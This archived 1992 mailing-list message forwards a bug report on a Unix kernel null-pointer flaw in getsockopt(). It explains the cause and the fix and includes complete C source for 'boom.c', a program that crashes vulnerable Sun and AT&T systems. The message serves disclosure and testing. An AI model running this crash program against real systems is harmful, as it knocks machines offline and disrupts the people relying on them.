home *** CD-ROM | disk | FTP | other *** search
- Date: Fri, 03 Jan 92 17:00:30 EST
- From: Gene Spafford <spaf@cs.purdue.edu>
-
- This program crashes Suns and AT&T machines. It may also crash BSD
- and Ultrix machines. You may (or may not) want to consider the fix.
- If nothing else, this program is going to be out there, so you might
- want to be on the lookout for any suspcious machine crashes.
-
- --spaf
-
- ------- Forwarded Message
-
- Date: Fri, 03 Jan 92 13:53:13 -0800
- From: shj@ultra.com (Steve Jay {Ultra Unix SW Mgr})
- Subject: system crasher [shj@ultra.com (Steve Jay {Ultra Unix SW Mgr}): system crasher]
-
- Thanks for volunteering. The test program is attached to the end of this
- message. You compile and execute it with just
-
- % cc -o boom boom.c
- % ./boom
-
- Please run the test on whatever systems you care to, and send me the
- results.
-
- For a system that has the bug fixed, the output will be something like
-
- > using port 1025
- > getpeer sts -1, errno 123
- > getsockopt: Invalid argument
-
- The "getpeer sts..." msg may appear several times.
-
- On systems with the bug, the system will crash on the getsockopt().
-
- The bug is in the kernel routines that processes the getsockopt() system
- call [tcp_ctlouput() and ip_ctloutput()]. The routines use the "so_pcb"
- field from the socket structure without checking it for 0. If a TCP
- RESET has been received on a connection, the in_pcb and tcpcb structures
- will have been deleted, and the so_pcb field is 0.
-
- The program forces a RESET to be sent by writing to a connection after
- the other side has closed its end of the connection. The getpeername()
- system call has code in it to correctly test for a 0 in_pcb value, in
- which case it returns ENOTCONN. So, the program writes to the socket
- and does getpeername() calls until the getpeername() fails. It then
- does the getsockopt() call.
-
- The bug fix is easy...add code to the beginning of the tcp_ctloutput()
- and ip_ctloutput() routines similar to the code at the beginning of the
- tcp_usrreq() routine to check [under splnet()], for 0 in the so_pcb field.
-
- BTW, I didn't discover this bug. One of Ultra's customers sent us a
- crash dump from their Sun system, believing that the crash was caused
- by our software. After looking at the dump, I was able to come up with
- this test program, which crashes any Sun, regardless of whether Ultra's
- software is installed.
-
- Also BTW, the bug appears to be fixed on SGI IRIX and IBM AIX (both
- 370 and RS6000 versions). However, the fix may not be completely
- correct, as the SGI version doesn't appear to do splnet() before
- doing the check for 0, which I believe leaves a tiny window for the
- crash, if the TCP RESET comes in just as the user does the getsockopt().
- The fact that it's (at least partiallly) fixed on these systems may
- mean the bug isn't as pervasive as I thought.
-
- I have reported the bug, including test program and fix, to Sun. I'm
- waiting for a response.
-
- Thanks for your help.
-
- Steve Jay
- shj@ultra.com ...ames!ultra!shj
- Ultra Network Technologies / 101 Dagget Drive / San Jose, CA 95134 / USA
- (408) 922-0100 x130 "Home of the 1 Gigabit/Second network"
-
- ============================ boom.c =======================================
-
- #include <stdio.h>
- #include <errno.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-
- void
- pexit(s)
- char *s;
- {
- perror(s);
- exit(1);
- }
-
- int
- get_local_port(s)
- int s;
- {
- int port;
-
- struct sockaddr_in a;
-
- for (port = IPPORT_RESERVED; port < IPPORT_USERRESERVED; port++) {
- bzero((char *)&a, sizeof(a));
- a.sin_family = AF_INET;
- a.sin_addr.s_addr = INADDR_ANY;
- a.sin_port = port;
- if (bind(s, (struct sockaddr *)&a, sizeof(a))) {
- if (errno != EADDRINUSE) {
- pexit("bind");
- }
- } else {
- printf("using port %d\n", port);
- return(port);
- }
- }
- fprintf(stderr, "can't get a port\n");
- exit(1);
- }
-
- void
- do_connect(port)
- int port;
- {
- int s;
-
- struct sockaddr_in a;
-
- sleep(1);
- if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
- pexit("socket2");
- }
- bzero((char *)&a, sizeof(a));
- a.sin_family = AF_INET;
- a.sin_addr.s_addr = INADDR_LOOPBACK;
- a.sin_port = port;
- if (connect(s, (struct sockaddr *)&a, sizeof(a)) == -1) {
- pexit("connect");
- }
- exit(0);
- }
-
-
- main()
- {
- int s,
- ns,
- sts,
- len,
- pid,
- port;
-
- extern int errno;
-
- struct sockaddr_in a;
-
- if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
- pexit("socket");
- }
- port = get_local_port(s);
- if (listen(s, 1) == -1) {
- pexit("listen");
- }
- if ((pid = fork()) == -1 ) {
- pexit("fork");
- } else if (pid == 0) {
- do_connect(port);
- }
- len = sizeof(a);
- if((ns = accept(s, (struct sockaddr *)&a, &len)) == -1) {
- pexit("accept");
- }
- do {
- write(ns, (char *)&a, sizeof(a));
- len = sizeof(a);
- errno = 0;
- sts = getpeername(ns, (struct sockaddr *)&a, &len);
- printf("getpeer sts %d, errno %d\n", sts, errno);
- sleep(1);
- } while (sts == 0);
- len = sizeof(a);
- if (getsockopt(ns, IPPROTO_IP, IP_OPTIONS, (char *)&a, &len) == -1) {
- pexit("getsockopt");
- }
- exit(0);
- }
-
-
-
-
- ------- End of Forwarded Message
-
-